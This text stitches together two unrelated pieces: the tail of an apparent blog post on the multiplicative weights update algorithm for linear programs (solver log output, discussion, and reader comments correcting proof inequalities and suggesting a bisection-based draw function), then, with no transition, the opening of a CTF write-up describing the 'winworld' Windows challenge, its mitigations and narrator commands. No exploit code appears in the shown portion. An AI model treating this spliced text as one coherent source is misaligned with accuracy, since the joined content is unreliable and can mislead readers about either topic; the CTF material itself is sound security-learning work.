proposedOpt=500 Attempting to solve with proposedOpt=250 Attempting to solve with proposedOpt=125 Attempting to solve with proposedOpt=62.5 Attempting to solve with proposedOpt=31.25 Attempting to solve with proposedOpt=15.625 Attempting to solve with proposedOpt=7.8125 Attempting to solve with proposedOpt=3.90625 Attempting to solve with proposedOpt=1.95312 Attempting to solve with proposedOpt=2.92969 Attempting to solve with proposedOpt=3.41797 Attempting to solve with proposedOpt=3.17383 Attempting to solve with proposedOpt=3.05176 Attempting to solve with proposedOpt=2.99072 Attempting to solve with proposedOpt=3.02124 Attempting to solve with proposedOpt=3.00598 Attempting to solve with proposedOpt=2.99835 Attempting to solve with proposedOpt=3.00217 Attempting to solve with proposedOpt=3.00026 Attempting to solve with proposedOpt=2.99931 Attempting to solve with proposedOpt=2.99978 Attempting to solve with proposedOpt=3.00002 Attempting to solve with proposedOpt=2.9999 Attempting to solve with proposedOpt=2.99996 Attempting to solve with proposedOpt=2.99999 Attempting to solve with proposedOpt=3.00001 Attempting to solve with proposedOpt=3 Attempting to solve with proposedOpt=3 # note %G rounds the printed values [ 0. 0.987 1.026] 3.00000000425 [ 5.20000072e-02 8.49831849e-09] So there we have it. A fiendishly clever use of multiplicative weights for solving linear programs. Discussion One of the nice aspects of MWUA is it’s completely transparent. If you want to know why a decision was made, you can simply look at the weights and look at the history of rewards of the objects. There’s also a clear interpretation of what is being optimized, as the potential function used in the proof is a measure of both quality and adaptability to change. The latter is why MWUA succeeds even in adversarial settings, and why it makes sense to think about MWUA in the context of evolutionary biology. This even makes one imagine new problems that traditional algorithms cannot solve, but which MWUA handles with grace. For example, imagine trying to solve an “online” linear program in which over time a constraint can change. MWUA can adapt to maintain its approximate solution. The linear programming technique is known in the literature as the Plotkin-Shmoys-Tardos framework for covering and packing problems. The same ideas extend to other convex optimization problems, including semidefinite programming. If you’ve been reading this entire post screaming “This is just gradient descent!” Then you’re right and wrong. It bears a striking resemblance to gradient descent (see this document for details about how special cases of MWUA are gradient descent by another name), but the adaptivity for the rewards makes MWUA different. Even though so many people have been advocating for MWUA over the past decade, it’s surprising that it doesn’t show up in the general math/CS discourse on the internet or even in many algorithms courses. The Arora survey I referenced is from 2005 and the linear programming technique I demoed is originally from 1991! I took algorithms classes wherever I could, starting undergraduate in 2007, and I didn’t even hear a whisper of this technique until midway through my PhD in theoretical CS (I did, however, study fictitious play in a game theory class). I don’t have an explanation for why this is the case, except maybe that it takes more than 20 years for techniques to make it to the classroom. At the very least, this is one good reason to go to graduate school. You learn the things (and where to look for the things) which haven’t made it to classrooms yet. Until next time! At first sight, it remind me the Hebb’s rule, and the delta rule of reinforcement learning, RL seems to be the craze this days, used by the deepmind people. This equality here is weird \displaystyle S_T \geq w_{x,t} = (1 + \varepsilon)^{\sum_t M(x, y_t) / B} \geq would be more correct, no? Should be w_{x,T}, in which case the RHS of the equality is the exact value after doing T multiplicative updates on that object. Dang, I thought I was following you here… If I follow the code and notation, then w_{x,T} = \prod_t (1+\varepsilon M_t/B) (the x is fixed so I skip the “_{x, y}” part) then the equality doesn’t check out (if any of the M_t \prod_t (1+\varepsilon)^{M_t}=(1+\varepsilon)^{\sum_t M_t/B} since (1+ \varepsilon*x) = (1 + \varepsilon)^x only if x is 0 or 1 (and if 0 < x ” which I was getting at in my first question) Sorry if I’m being a complete bozoid. And thanks btw for posting this, it’s great stuff! Jakob Ah, you’re right. I was translating the proof from an (equivalent) version in which the updates put the in the exponent, and the sums work out nicely. I will have to fix this later today. Nice catch! ouch some math is being eaten by html… I meant to write “if any of the M_t < B then…” and “if 0 < x < 1 it will become ‘>'” Actually the bound is still correct, but you have to apply the inequality: with 0 <= epsilon <= 1 and 0 <=x = (1+epsilon)^x. You prove it by using the convexity of (1+epsilon)^x (in x, apparently). I read this one from the Proposition 2, in here: The math is very nice, maybe too much… at a very basic level: if M(x,y_{t+1}) is NOT required to be correlated in any way with M(x,y_t) -then I’d be very confident in calling it impossible that ANY distribution however determined does _always_ better than any other in any way. Are we sure that lower bound doesn’t also apply to the strategy of constantly using the uniform distribution? Or that the lower bound found can ever be positive? I would be very surprised otherwise. I’m sure this algorithm can be very powerful when we have some reasonably strong hypothesis on M; but like this it’s literally getting something for nothing… It’s not guaranteed to get anything in absolute terms. It minimizes regret in hindsight when compared with having chosen the single option that historically performed the best every time. Of course, that regret still grows over time no matter what, but the growth rate of the regret is logarithmic in the number of rounds. “Moreover, the sum of the weights in round T is certainly less than any single weight” shouldn’t it be: “Moreover, the sum of the weights in round T is certainly greater than any single weight” ? 😛 LikeLiked by 1 person Hi Jeremy, I believe it makes sense to provide the official link to the paper by Arora, Hazan, and Kale since it was published on an Open Access Journal. Thanks! Much appreciated Maybe a small typo: in the line S_T \geq w_{x,T} \leq (1 + \varepsilon)^{\sum_t M(x, y_t) / B}, shouldn’t the \leq be a \geq instead (since \sum_t M(x,y_t)/B is between 0 and 1)? small thing: the draw(…) code seems to be doing something similar to what is called a roulette-wheel-selection right ? if true, then by computing a cumulative sum, and then use bisection perhaps should be more efficient. so, we have the following: def draw(weights): cws = [sum(weights[:i+1]) for i in xrange(len(weights))] return bisect.bisect_left(cws, random.uniform(0, cws[-1])) beautiful article by the way 🙂 Useful information. Lucky me I discovered your website accidentally, and I am shocked why this coincidence did not came about earlier! I bookmarked it. Hey Jeremy. Referring to your opening sentence, do you know what Sanjeev Arora meant by “random sampling”? Do they mean randomized algorithms, or sampling theory (rejection sampling, hierarchical sampling, inverse transform sampling, MCMC)? What are the applications of sampling theory to computer science? I expect Arora means the use of random sampling to solve otherwise difficult problems. For example, random sampling for primality testing (or other kinds of property testing) is far more efficient than the best known algorithm for exact computation. I think MCMC also falls within this. I’m not quite sure what you mean by “sampling theory” insofar as being different from the general class of algorithms that use randomness. Sorry to ask a question, if the objective c vector contains negative value, your method will lead to the corresponding x to be 0, it may not be optimal solution.
https://jeremykun.com/2017/02/27/the-reasonable-effectiveness-of-the-multiplicative-weights-update-algorithm/?like_comment=64655&_wpnonce=92db5e7bfc&replytocom=64593
CC-MAIN-2020-29
refinedweb
4,480
53.31
A flutter plugin for adapting screen and font size. Let your UI display a reasonable layout on different screen sizes! Please check the latest version before installation. dependencies: fm_fit: ^0.0.2 import 'package:fm_fit/fm_fit.dart'; // 设计稿宽 The width of the device in the design draft, in px double width=750; // 缩放比例 scale double scale=1.0; import 'package:fm_fit/fm_fit.dart'; ... // init width, default 750 fit.init(width:750); // usage 1: SizedBox(height: fit.t(120.0)) // usage 2: Container( margin: fit.only(top: 40.0), padding: fit.fromLTRB(30, 34, 30, 0), child: Text("test") ) // usage 3: Text( "test", textAlign: TextAlign.center, style: TextStyle( color: Colors.white, fontSize: fit.t(34), letterSpacing: fit.t(4), fontWeight: FontWeight.bold, ), ), - publish - ios fit - gloable fit Add this to your package's pubspec.yaml file: dependencies: fm_fit: ^0.0.2 You can install packages from the command line: with Flutter: $ flutter pub get Alternatively, your editor might support flutter pub get. Check the docs for your editor to learn more. Now in your Dart code, you can use: import 'package:fm_fit/fm_fit.dart'; We analyzed this package on Jul 15, 2019, and provided a score, details, and suggestions below. Analysis was completed with status completed using: Detected platforms: Flutter References Flutter, and has no conflicting libraries. Format lib/fm_fit.dart. Run flutter format to format lib/fm_fit.dart. Maintain an example. (-10 points) Create a short demo in the example/ directory to show how to use this package. Common filename patterns include main.dart, example.dart, and fm_fit.
https://pub.dev/packages/fm_fit
CC-MAIN-2019-30
refinedweb
258
55.3
Researcher Published: 27 January 2016 at 10:39 UTC Updated: 04 September 2020 at 08:04 UTC Naive use of the extremely popular JavaScript framework AngularJS is exposing numerous websites to Angular Template Injection. This relatively low profile sibling of server-side template injection can be combined with an Angular sandbox escape to launch cross-site scripting (XSS) attacks on otherwise secure sites. Until now, there has been no publicly known sandbox escape affecting Angular 1.3.1+ and 1.4.0+. This post will summarize the core concepts of Angular Template Injection, then show the development of a fresh sandbox escape affecting all modern Angular versions. AngularJS is an MVC client side framework written by Google. With Angular, the HTML pages you see via view-source or Burp containing 'ng-app' are actually templates, and will be rendered by Angular. This means that if user input is directly embedded into a page, the application may be vulnerable to client-side template injection. This is true even if the user input is HTML-encoded and inside an attribute. Angular templates can contain expressions - JavaScript-like code snippets inside double curly braces. To see how they work have a look at the following jsfiddle: The text input {{1+1}} is evaluated by Angular, which then displays the output: 2. This means anyone able to inject double curly braces can execute Angular expressions. Angular expressions can't do much harm on their own, but when combined with a sandbox escape we can execute arbitrary JavaScript and do some serious damage. The following two snippets show the essence of the vulnerability. The first page dynamically embeds user input, but is not vulnerable to XSS because it uses htmlspecialchars to HTML encode the input: <html> <body> <p> <?php $q = $_GET['q']; echo htmlspecialchars($q,ENT_QUOTES); ?> </p> </body> </html> The second page is almost identical, but the Angular import means it can be exploited by injecting an Angular expression, and with a sandbox escape we can get XSS. <html ng-app> <head> <script src=""></script> </head> <body> <p> <?php $q = $_GET['q']; echo htmlspecialchars($q,ENT_QUOTES);?> </p> </body> </html> Note that you need to have "ng-app" above the expression in the DOM tree. Usually an Angular site will use it in the root HTML or body tag. In other words, if a page is an Angular template, we're going to have a much easier time XSSing it. There's only one catch - the sandbox. Fortunately, there is a solution. Angular expressions are sandboxed 'to maintain a proper separation of application responsibilities'. In order to exploit users, we need to break out of the sandbox and execute arbitrary JavaScript. Let's reuse the fiddle from earlier and place a breakpoint at line 13275 inside angular.js in the sources tab in Chrome. In the watches window, add a new watch expression of "fnString". This will display our transformed output. 1+1 gets transformed to: "use strict"; var fn = function(s, l, a, i) { return plus(1, 1); }; return fn; So the expression is getting parsed and rewritten then executed by Angular. Let's try to get the Function constructor: This is where things get a little more interesting, here is the rewritten output: "use strict"; var fn = function(s, l, a, i) { var v0, v1, v2, v3, v4 = l && ('constructor' in l), v5; if (!(v4)) { if (s) { v3 = s.constructor; } } else { v3 = l.constructor; } ensureSafeObject(v3, text); if (v3 != null) { v2 = ensureSafeObject(v3.constructor, text); } else { v2 = undefined; } if (v2 != null) { ensureSafeFunction(v2, text); v5 = 'alert\u00281\u0029'; ensureSafeObject(v3, text); v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text); } else { v1 = undefined; } if (v1 != null) { ensureSafeFunction(v1, text); v0 = ensureSafeObject(v1(), text); } else { v0 = undefined; } return v0; }; return fn; As you can see, Angular goes through each object in turn and checks it using the ensureSafeObject function. The ensureSafeObject function checks if the object is the Function constructor, the window object, a DOM element or the Object constructor. If any of the checks are true it will raise an exception and stop executing the expression. It also prevents access to global variables by making all references for globals look at a object property instead. Angular also has a couple of other functions that do security checks such as ensureSafeMemberName and ensureSafeFunction. ensureSafeMemberName checks a JavaScript property and makes sure it doesn't match __proto__ etc and ensureSafeFunction checks function calls do not call the Function constructor or call, apply and bind. The Angular sanitizer is a client side filter written in JavaScript that extends Angular to safely allow HTML bindings using attributes called ng-bind-html that contain a reference you want to filter. It then takes the input and renders it in an invisible DOM tree and applies white list filtering to the elements and attributes. While I was testing the Angular sanitizer I thought about overwriting native JavaScript functions using Angular expressions. The trouble is Angular expressions do not support function statements or function expressions so you would be unable to overwrite the function with any value. Pondering this for a while I thought about String.fromCharCode. Because the function is called from the String constructor and not via a string literal, the "this" value will be the String constructor. Maybe I could backdoor the fromCharCode function! How can you backdoor the fromCharCode function without being able to create a function? Easy: re-use an existing function! The problem is how to control the value every time fromCharCode is called. If we use the Array join function we can make the String constructor a fake array. All we need is a length property and a property of 0 for the first index of our fake array, fortunately it already has a length property because its argument length is 1. We just need to give it a 0 property. Here's how to do it: 'a'.constructor.fromCharCode=[].join; 'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e'; When String.fromCharCode is called you will get the string <iframe onload=alert(/Backdoored/)> every time instead of the desired value. This works perfectly inside the Angular sandbox. Here is a fiddle: I continued reviewing the code for the Angular sanitizer but I could not find any calls to String.fromCharcode that would result in a bypass. I had a look for other native functions and found an interesting one: charCodeAt. If I could overwrite this value then it would get injected into an attribute without any filtering. However there is a problem: this time the "this" value will be the string literal and not the string constructor. This means I could not use the same technique to overwrite the function because I would be unable to manipulate the index or the length as this isn't writable for a string literal. Then I thought about using [].concat; using this function would return the string as is and the argument, concatenated together. The following fiddle calls 'abc'.charCodeAt(0) so you would expect the output to be '97' (ascii a), but due to the backdoor it instead returns the base string plus the argument. This then broke the sanitizer because I could inject evil attributes. The sanitizer code looked like this: if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value)); out('"'); } Out would return the filtered output; key refers to the attribute name; and value is the attribute value. Here is the encodeEntities function:, '>'); } The code in bold is where the injection would happen, so the developer was clearly expecting the charCodeAt function to return an int. You could defensively code and force the value to an int but if an attacker can overwrite native functions, you are probably already owned. That bypassed the sanitizer, and using a similar technique we can break out of the sandbox. I looked at the Angular source code looking for String.fromCharCode calls, and found one instance that was pretty interesting. When parsing string literals they use it to output the value. I figured I could backdoor fromCharCode and break out of the parsed string. Here is a fiddle: Turns out I could backdoor unicode escapes but not break out of the rewritten code. I then wondered if the same technique I used previously on the sanitizer would work here with a different native function. I thought that using charAt would successfully parse the code but return completely different output and bypass the sandbox. I tried injecting it and inspecting the rewritten output. {{ 'a'.constructor.prototype.charAt=[].join; $eval('x=""')+'' }} The console had some interesting results, I was getting a JavaScript parse error from the browser and not from Angular. I looked at the rewritten code see below: "use strict"; var fn = function(s, l, a, i) { var v5, v6 = l && ('x\u003d\u0022\u0022' in l); if (!(v6)) { if (s) { v5 = s.x = ""; } } else { v5 = l.x = ""; } return v5; }; fn.assign = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l); v3 = v4 ? l : s; if (!(v4)) { if (s) { v2 = s.x = ""; } } else { v2 = l.x = ""; } if (v3 != null) { v1 = v; ensureSafeObject(v3.x = "", text); v0 = v3.x = "" = v1; } return v0; }; return fn; The syntax error is in bold above, if the rewritten code was generating a JavaScript syntax error that would mean I can inject my own code in the rewritten output! Next I injected the following code: {{ 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)')+'' }} The debugger stopped at the first call, I hit resume and then I went to lunch with a big smile on my face because without even checking I knew I'd owned the sandbox and probably pretty much every version. I got back from lunch and hit resume and sure enough I got an alert and broke the sandbox. Here's the fiddle: Here is the rewritten code: "use strict"; var fn = function(s, l, a, i) { var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l); if (!(v6)) { if (s) { v5 = s.x = alert(1); } } else { v5 = l.x = alert(1); } return v5; }; fn.assign = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l); v3 = v4 ? l : s; if (!(v4)) { if (s) { v2 = s.x = alert(1); } } else { v2 = l.x = alert(1); } if (v3 != null) { v1 = v; ensureSafeObject(v3.x = alert(1), text); v0 = v3.x = alert(1) = v1; } return v0; }; return fn; So as you can see the rewritten code contains the alerts. You might notice that this doesn't work on Firefox. Here's a little challenge for you, try and get it to work on both Firefox and Chrome. Select the hidden text below for the solution to the challenge: {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} To view in depth what goes on when Angular parses the code place a break point on line 14079 of angular.js, press resume once to skip the initial parse and step through the code by constantly clicking step into function in the debugger. Here you will be able to see Angular parse the code incorrectly. It will think x=alert(1) is an identifier on line 12699. The code assumes it's checking a character but in actual fact it's checking a longer string so it passes the test. See below: isIdent= function(ch) { return ('a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || '_' === ch || ch === '$'); } isIdent('x9=9a9l9e9r9t9(919)') The string has been generated with our overwritten charAt function and the 9 is the argument passed. Because of the way the code is written it will always pass the test because 'a', 'z' etc is always going to be less than the longer string. Luckily for me on line 12701 the original string is used to make the identifier. Then on line 13247 when the assignment function is created the identifier will be injected into the function string multiple times which injects our alert when called with the Function constructor. Here's the final payload, tailored to Angular 1.4: {{ 'a'.constructor.prototype.charAt=[].join; eval('x=1} } };alert(1)//'); }} If you're using Angular, you need to either treat curly braces in user input as highly dangerous or avoid server-side reflection of user input entirely. Most other JavaScript frameworks have sidestepped this danger by not supporting expressions in arbitrary locations within HTML documents. Google are definitely aware of this issue, but we're not sure how well known it is in the wider community, in spite of existing research on the topic. Angular's documentation does advise against dynamically embedding user input in templates, but also misleadingly implies that Angular won't introduce any XSS vulnerabilities into otherwise secure code. This issue isn't even limited to client-side template injection; Angular template injection can (and has) manifest server-side and result in RCE. I think this issue has only escaped wider attention so far due to the lack of known sandbox escapes for the latest Angular branches. So right now may be a good time to consider a patch management strategy for your JavaScript imports. This sandbox escape was privately reported to Google on the 25th of September 2015, and patched in version 1.5.0 on January 15th 2016. Given the extended history of AngularJS sandbox bypasses, and Angular's insistence that the sandbox "is not intended to stop attackers", we do not regard updating Angular as a robust solution to expression injection. As such, we've released new Burp Scanner check to detect client-side template injection, and have included below an up to date list of Angular sandbox escapes. We've followed up this blog post with examples of sandbox escapes in real world applications. We also released DOM based AngularJS sandbox escapes too. Angular as of version 1.6 have removed the sandbox altogether We are actively maintaining a list of sandbox escapes on the XSS cheat sheet: 1.0.1 - 1.1.5 Mario Heiderich (Cure53) {{constructor.constructor('alert(1)')()}} 1.2.0 - 1.2.1 {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} 1.2.2 - 1.2.5 Gareth Heyes (PortSwigger) {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}} 1.2.6 - 1.2.18 {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}} 1.2.19 - 1.2.23 {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}} 1.2.24 - 1.2.29 Gareth Heyes (PortSwigger) {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} 1.3.0 Gábor Molnár (Google) {{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' )) );}} 1.3.1 - 1.3.2 Gareth Heyes (PortSwigger) {{ {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.constructor.prototype.charAt=''.valueOf; $eval('x=alert(1)//'); }} 1.3.3 - 1.3.18 Gareth Heyes (PortSwigger) {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)//'); }} 1.3.19 Gareth Heyes (PortSwigger) {{ 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; $eval('x=alert(1)//'); }} 1.3.20 Gareth Heyes (PortSwigger) {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} 1.4.0 - 1.4.9 Gareth Heyes (PortSwigger) {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} 1.5.0 - 1.5.8 {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} 1.5.9 - 1.5.11 {{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }} >=1.6.0 Mario Heiderich (Cure53) {{constructor.constructor('alert(1)')()}} Please visit the web academy AngularJS lab to experiment with XSS using AngularJS.Back to all articles
https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
CC-MAIN-2020-50
refinedweb
2,754
57.47
In the Loklak Server project, we use a number of automation tools like the build testing tool ‘TravisCI’, automated code reviewing tool ‘Codacy’, and ‘Gemnasium’. We are also using JUnit, a java-based unit-testing framework for writing automated Unit-Tests for java projects. It can be used to test methods to check their behaviour whenever there is any change in implementation. These unit-tests are handy and are coded specifically for the project. In the Loklak Server project it is used to test the web-scrapers. Generally JUnit is used to check if there is no change in behaviour of the methods, but in this project, it also helps in keeping check if the website code has been modified, affecting the data that is scraped. Let’s start with basics, first by setting up, writing a simple Unit-Tests and then Test-Runners. Here we will refer how unit tests have been implemented in Loklak Server to familiarize with the JUnit Framework. Setting-UP Setting up JUnit with gradle is easy, You have to do just 2 things:- 1) Add JUnit dependency in build.gradle Dependencies { . . . . . .<other compile groups>. . . compile group: 'com.twitter', name: 'jsr166e', version: '1.1.0' compile group: 'com.vividsolutions', name: 'jts', version: '1.13' compile group: 'junit', name: 'junit', version: '4.12' compile group: 'org.apache.logging.log4j', name: 'log4j-1.2-api', version: '2.6.2' compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.6.2' . . . . . . } 2) Add source for ‘test’ task from where tests are built (like here). Save all tests in test directory and keep its internal directory structure identical to src directory structure. Now set the path in build.gradle so that they can be compiled. sourceSets.test.java.srcDirs = ['test'] Writing Unit-Tests In JUnit FrameWork a Unit-Test is a method that tests a particular behaviour of a section of code. Test methods are identified by annotation @Test. Unit-Test implements methods of source files to test their behaviour. This can be done by fetching the output and comparing it with expected outputs. The following test tests if twitter url that is created is valid or not that is to be scraped. /** * This unit-test tests twitter url creation */ @Test public void testPrepareSearchURL() { String url; String[] query = {"fossasia", "from:loklak_test", "spacex since:2017-04-03 until:2017-04-05"}; String[] filter = {"video", "image", "video,image", "abc,video"}; String[] out_url = { "", "", "and other output url strings to be matched…..." }; // checking simple urls for (int i = 0; i < query.length; i++) { url = TwitterScraper.prepareSearchURL(query[i], ""); //compare urls with urls created assertThat(out_url[i], is(url)); } // checking urls having filters for (int i = 0; i < filter.length; i++) { url = TwitterScraper.prepareSearchURL(query[0], filter[i]); //compare urls with urls created assertThat(out_url[i+3], is(url)); } } Testing the implementation of code is useless as it will either make code more difficult to change or tests useless . So be cautious while writing tests and keep difference between Implementation and Behaviour in mind. This is the perfect example for a simple Unit-Test. As we see there are some points, which needs to be observed like:- 1) There is a annotation @Test . 2) Input array of query which is fed to the method TwitterScraper.prepareSearchURL() . 3) Array of urls out_url[], which are the expected urls to output. 4) asserThat() to compare the expected url (in array out_url[]) and the output url (in variable ‘url’). NOTE: assertEquals() could also be used here, but we prefer to use assert methods to get error message that is readable (We will discuss about this some time later) And the TestRunner When we are working on a project, It is not feasible to run tests using gradle as they are first built (else verified whether tests are build-ready) and then executed. gradle test shall be used only for building and testing the tests. For testing the project, one shall set-up TestRunner. It allows to run specific set of tests, one wants to run. TestRunners are built once using gradle (with other tests) and can be run whenever you want. Also it is easy to stack up the test classes you want to run in SuiteClasses and @RunWith to run SuiteClasses with the TestRunner. In loklak server, TestRunner runs the web-scraper tests. They are used by developers to test the changes they have made. This is a sample TestRunner, code link here . package org.loklak; // Library classes imported import org.junit.runner.RunWith; import org.junit.runners.Suite; // Source files to be tested import org.loklak.harvester.TwitterScraperTest; import org.loklak.harvester.YoutubeScraperTest; /* * TestRunner for harvesters */ @RunWith(Suite.class) @Suite.SuiteClasses({ TwitterScraperTest.class, YoutubeScraperTest.class }) public class TestRunner { } You can also add TestRunners for different sections of the project. Like here it is initialized only to test harvesters. To run the TestRunner Add classpath of the jar file of the project and run ‘JUnitCore’ with TestRunner to get output on terminal. java -classpath .:build/libs/<yourProject>.jar:build/classes/test org.junit.runner.JUnitCore org.loklak.TestRunner In the project we have set up a shell script to run the tests. Few points 1) Build the project and tests separately. Build tests only when changed as they take time to be built and executed. 2) Whenever you are done with the coding part, run the tests using TestRunner. 3) Write unit-tests whenever you add a new feature to the project to keep it up-to-date. Now lets end up here. So for now, Code it, Test it and Repeat. Resources: - Loklak Server Tests directory: - JUnit: - Junit TestRunner (further):
https://blog.fossasia.org/writing-simple-unit-tests-with-junit/
CC-MAIN-2019-09
refinedweb
936
67.04
I wrote about Code Generator and now I can actually run this tool and get some numbers out of it. I compared VC11.0 (Visual Studio 2012 For Desktop) and GCC 4.7.2 (using MinGW32 4.7.2 and DevCpp). Basics of experiment - VC11.0 - Visual Studio 2012 For Desktop, Release Mode, 32bit, no optimizations. - I turned build timings on to have detailed build performance. - GCC 4.7.2 32bit - MinGW 4.7.2 version and run from DevCpp 5.4.1 - g++.exe -c testHeaders.cpp -o testHeaders.o -ftime-report - The machine: Core i5, 4 cores, 4GB RAM, Windows 8 64bit - compilation will probably take place only on one core only (there will be one translation unit only) I run each test 3 times and then compute the average. At the end of post there is a link to detailed spreadsheet. Code structure The overall code structure is not a real case scenario. It was my first attempt to do such experiment and it was actually easy to create such hierarchy. testHeader.cppincludes N header files - m-th header file includes N-1 other header files (so we have "cross" include) - each header file has its proper include guard Note: For 199 GCC will return an error "#include nested too deeply". You can read more about it in gamesfromwithin.com. In general GCC thinks that 199 include level is unreal and will block it. Test N headers A header can look like this in this tests: #ifndef _INCLUDED_HEADER_HEADER_5_H #define _INCLUDED_HEADER_HEADER_5_H #include "header_0.h" #include "header_1.h" #include "header_2.h" #include "..." generator.exe N 100 includeTestOutput/ N = 100 N = 132 N = 164 N = 192 Test N headers - external guards A header can look like this in this tests: #ifndef _INCLUDED_HEADER_HEADER_5_H #define _INCLUDED_HEADER_HEADER_5_H #ifndef _INCLUDED_HEADER_HEADER_0_H #include "header_0.h" #endif #ifndef _INCLUDED_HEADER_HEADER_1_H #include "header_1.h" #endif #ifndef _INCLUDED_HEADER_HEADER_2_H #include "header_2.h" #endif #include "..." generator.exe N 100 includeTestOutput/ ifDef N = 100 N = 132 N = 164 N = 192 Test N headers - #pragma once A header can look like this in this tests: #pragma once #ifndef _INCLUDED_HEADER_HEADER_5_H #define _INCLUDED_HEADER_HEADER_5_H #include "header_0.h" #include "header_1.h" #include "header_2.h" #include "..." generator.exe N 100 includeTestOutput/ pragmaOnce N = 100 N = 132 N = 164 N = 192 Conclusion - The code structure is rather theoretical and does not represent 'common' structures that may appear in projects. - GCC and VC build code a bit different. GCC linker phase is much longer than in VC. - GCC uses lots of optimization for header files. There is almost no need to do any 'tricks' with includes. Header guards are enough. - VC likes header files 'tricks'! - There is above 2X to 3X speedup using additional (external) include guards or pragma once - Pragma once for such code structure seems to be a bit slower than additional (external) include guards: from 5% to even 10% slower. - All in all VC11.0 is faster than GCC. What I have learnt - VC Release mode is not the same as GCC basic compilation - Make sure you set up proper experiment base - Automate as much as possible - Tool for spreadsheet is a must have-software :) - It is valuable to figure out how to break the compiler Links Article is posted also on the CodeProjectCodeProject
https://www.bfilipek.com/2013/04/c-include-test-full-matrix.html
CC-MAIN-2018-34
refinedweb
536
58.69
Make suggestions for shortcuts the user may want to add to Siri. Frameworks - Intents - Intents UI Overview After the user performs an action in your app, the app should donate a shortcut that accelerates user access to the action. However, sometimes there are actions in your app the user hasn’t performed that might be of interest to them. For example, perhaps your soup-ordering app features a special soup every day. The user has never ordered the daily soup special, but they might be interested in the option to add a soup-of-the-day shortcut to Siri. Your app can provide this option by making a shortcut suggestion. Suggest a Shortcut To suggest a shortcut to an action that the user hasn't performed but may want to add to Siri, create an INShortcut object with either an INIntent or NSUser object that defines the action. Then add the shortcut to an array. Repeat for each suggestion your app wants to make. After creating the list of shortcut suggestions, call set, passing in the shortcuts. Suggest shortcuts that the user can add to Siri import Intents // Add a user activity to the list of suggestions. var suggestions = [INShortcut(userActivity: orderFavoriteBeverageUserActivity)] // Add an intent to the list of suggestions. To create // a shortcut from an intent, the intent must be valid. if let shortcut = INShortcut(intent: orderSoupOfTheDayIntent) { suggestions.append(shortcut) } // Suggest the shortcuts. INVoiceShortcutCenter.shared.setShortcutSuggestions(suggestions) Update Suggestions Your list of shortcut suggestions should represent actions that pertain to the user. This list may change over time for reasons such as: The addition or removal of features from your app. A change in the way the user interacts with your app. To update the shortcut suggestion list, replace the existing list by calling set and passing in a new list of suggestions. If you want to remove all suggestions made by your app, call the same method passing in an empty array. Changes to the list of shortcut suggestions don't effect shortcuts the user adds to Siri. For instance, if the user adds the suggested order favorite beverage shortcut to Siri and the app removes the suggestion from the list some time later, that shortcut is still available to the user.
https://developer.apple.com/documentation/sirikit/shortcut_management/suggesting_shortcuts_to_users
CC-MAIN-2020-05
refinedweb
374
54.83
In this post I describe a detailed solution to my “winworld” challenge from Insomni’hack CTF Teaser 2017. winworld was a x64 windows binary coded in C++11 and with most of Windows 10 built-in protections enabled, notably AppContainer (through the awesome AppJailLauncher), Control Flow Guard and the recent mitigation policies. These can quickly be verified using Process Hacker (note also the reserved 2TB of CFGBitmap!): The task was running on Windows Server 2016, which as far as the challenge is concerned behaves exactly as Windows 10 and even uses the exact same libraries. The challenge and description (now with the source code) can be found here. Logic of the binary: Our theme this year was “rise of the machines”; winworld is about the recent Westworld TV show, and implements a “narrator” interface where you can create robots and humans, configure their behavior, and move them on a map where they interact with each other. The narrator manipulates Person objects, which is a shared class for both “hosts” (robots) and “guests” (humans). Each type is stored in separate list. Each Person object has the following attributes: The narrator exposes the following commands: --[ Welcome to Winworld, park no 1209 ]-- narrator [day 1]$ help Available commands: - new <type> <sex> <name> - clone <id> <new_name> - list <hosts|guests> - info <id> - update <id> <attribute> <value> - friend <add|remove> <id 1> <id 2> - sentence <add|remove> <id> <sentence> - map - move <id> {<l|r|u|d>+} - random_move - next_day 